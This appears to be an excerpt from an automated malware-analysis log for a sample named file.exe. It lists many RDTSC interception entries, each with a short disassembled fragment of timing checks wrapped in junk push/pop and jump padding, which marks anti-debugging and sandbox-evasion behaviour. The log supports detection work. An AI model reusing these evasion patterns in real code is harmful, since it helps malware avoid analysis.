Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AE63 second address: 79AE6D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB424D52636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AE6D second address: 79AE74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AFE9 second address: 79AFF3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB424D52636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AFF3 second address: 79B009 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB4247A5758h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B009 second address: 79B01D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52640h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B01D second address: 79B05D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FB4247A5767h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jc 00007FB4247A5771h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FB4247A5763h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B159 second address: 79B15F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B264 second address: 79B26F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B26F second address: 79B273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BAC8 second address: 779DF7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB4247A576Eh 0x00000008 jmp 00007FB4247A5768h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 sbb edx, 60B3A7E8h 0x00000018 mov dword ptr [ebp+1247C99Eh], edx 0x0000001e call dword ptr [ebp+122D2449h] 0x00000024 push eax 0x00000025 push edx 0x00000026 jbe 00007FB4247A576Ah 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779290 second address: 77929E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB424D52636h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C9E73 second address: 7C9E8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB4247A575Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jno 00007FB4247A5756h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA3EB second address: 7CA3FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D5263Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA3FA second address: 7CA41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB4247A5767h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA41F second address: 7CA430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB424D5263Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA430 second address: 7CA434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA73E second address: 7CA759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB424D52647h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CA759 second address: 7CA75D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDAF8 second address: 7CDAFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDAFC second address: 7CDB06 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4247A5756h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A440 second address: 74A448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A448 second address: 74A465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB4247A5763h 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A465 second address: 74A46D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746DC7 second address: 746DCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746DCB second address: 746DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB424D52643h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746DE7 second address: 746DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5899 second address: 7D58C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52641h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FB424D52641h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5CFB second address: 7D5CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5CFF second address: 7D5D13 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB424D52636h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007FB424D52642h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5D13 second address: 7D5D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5D19 second address: 7D5D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007FB424D52645h 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d popad 0x0000000e pushad 0x0000000f jp 00007FB424D5263Ch 0x00000015 push ecx 0x00000016 jmp 00007FB424D52647h 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5D61 second address: 7D5D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5EA9 second address: 7D5EAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5FED second address: 7D6015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 jbe 00007FB4247A5756h 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB4247A575Ah 0x00000017 jno 00007FB4247A575Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6015 second address: 7D602B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB424D52642h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D602B second address: 7D602F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D602F second address: 7D603F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FB424D5263Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D61A1 second address: 7D61DA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 jo 00007FB4247A576Ch 0x0000000c jmp 00007FB4247A5766h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB4247A5763h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D631F second address: 7D6363 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007FB424D52636h 0x0000000b pop esi 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB424D52642h 0x00000019 pushad 0x0000001a jno 00007FB424D52636h 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007FB424D52644h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D68DA second address: 7D68FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A575Ah 0x00000007 jmp 00007FB4247A5764h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D68FC second address: 7D6918 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007FB424D52636h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB424D52640h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D6918 second address: 7D693B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB4247A5756h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jp 00007FB4247A575Ch 0x00000015 jnp 00007FB4247A5756h 0x0000001b jng 00007FB4247A575Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D96CF second address: 7D96DC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB424D52636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D96DC second address: 7D96E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74536C second address: 745377 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745377 second address: 74537C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74537C second address: 745388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 ja 00007FB424D52636h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745388 second address: 74538C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD3C0 second address: 7DD3CC instructions: 0x00000000 rdtsc 0x00000002 js 00007FB424D52636h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D8D4 second address: 74D8EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A5760h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D8EF second address: 74D915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB424D52636h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB424D52647h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DD0B2 second address: 7DD0C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4247A5762h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF5A3 second address: 7DF5B8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB424D5263Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF5B8 second address: 7DF5BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF5BD second address: 7DF5D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB424D5263Bh 0x00000009 jl 00007FB424D52636h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5543 second address: 7E5548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5548 second address: 7E5557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB424D52636h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5557 second address: 7E555B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E555B second address: 7E5596 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52642h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FB424D5265Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB424D52640h 0x00000018 jmp 00007FB424D5263Bh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5AA2 second address: 7E5AAC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB4247A5762h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B492 second address: 79B4ED instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB424D52638h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c jmp 00007FB424D5263Eh 0x00000011 pop eax 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D1DB2h], ecx 0x00000019 mov ebx, dword ptr [ebp+1248E375h] 0x0000001f js 00007FB424D52636h 0x00000025 add eax, ebx 0x00000027 jmp 00007FB424D52644h 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FB424D52642h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5C64 second address: 7E5C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB4247A5766h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5C7E second address: 7E5C82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5C82 second address: 7E5CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FB4247A5763h 0x0000000c jmp 00007FB4247A575Bh 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 jmp 00007FB4247A575Ah 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5CAA second address: 7E5CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007FB424D52636h 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5CC0 second address: 7E5CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DF9 second address: 7E5DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5DFD second address: 7E5E07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5E07 second address: 7E5E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB424D52636h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5E11 second address: 7E5E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E935A second address: 7E936F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB424D52636h 0x00000008 jmp 00007FB424D5263Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDB1E second address: 7EDB28 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4247A575Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDB28 second address: 7EDB34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 ja 00007FB424D52636h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED06F second address: 7ED075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED075 second address: 7ED079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED19B second address: 7ED1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB4247A575Eh 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED431 second address: 7ED437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED588 second address: 7ED599 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007FB4247A5756h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6575 second address: 7F657D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F461E second address: 7F4635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB4247A5761h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4635 second address: 7F4639 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F48D9 second address: 7F4906 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4247A5763h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB4247A575Ch 0x00000012 jl 00007FB4247A5756h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4906 second address: 7F4920 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jp 00007FB424D52636h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007FB424D52636h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4920 second address: 7F4924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F53BD second address: 7F53D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB424D52642h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F6289 second address: 7F628F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F628F second address: 7F6293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D89C second address: 74D8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB4247A5756h 0x0000000a jmp 00007FB4247A5761h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB4247A5769h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA756 second address: 7FA760 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB424D52636h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA760 second address: 7FA769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA8C3 second address: 7FA8CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB424D52636h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA8CF second address: 7FA8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA8D4 second address: 7FA8E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FB424D52636h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA8E0 second address: 7FA8E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FA8E4 second address: 7FA931 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FB424D52646h 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB424D5263Eh 0x0000001c jmp 00007FB424D52647h 0x00000021 rdtsc
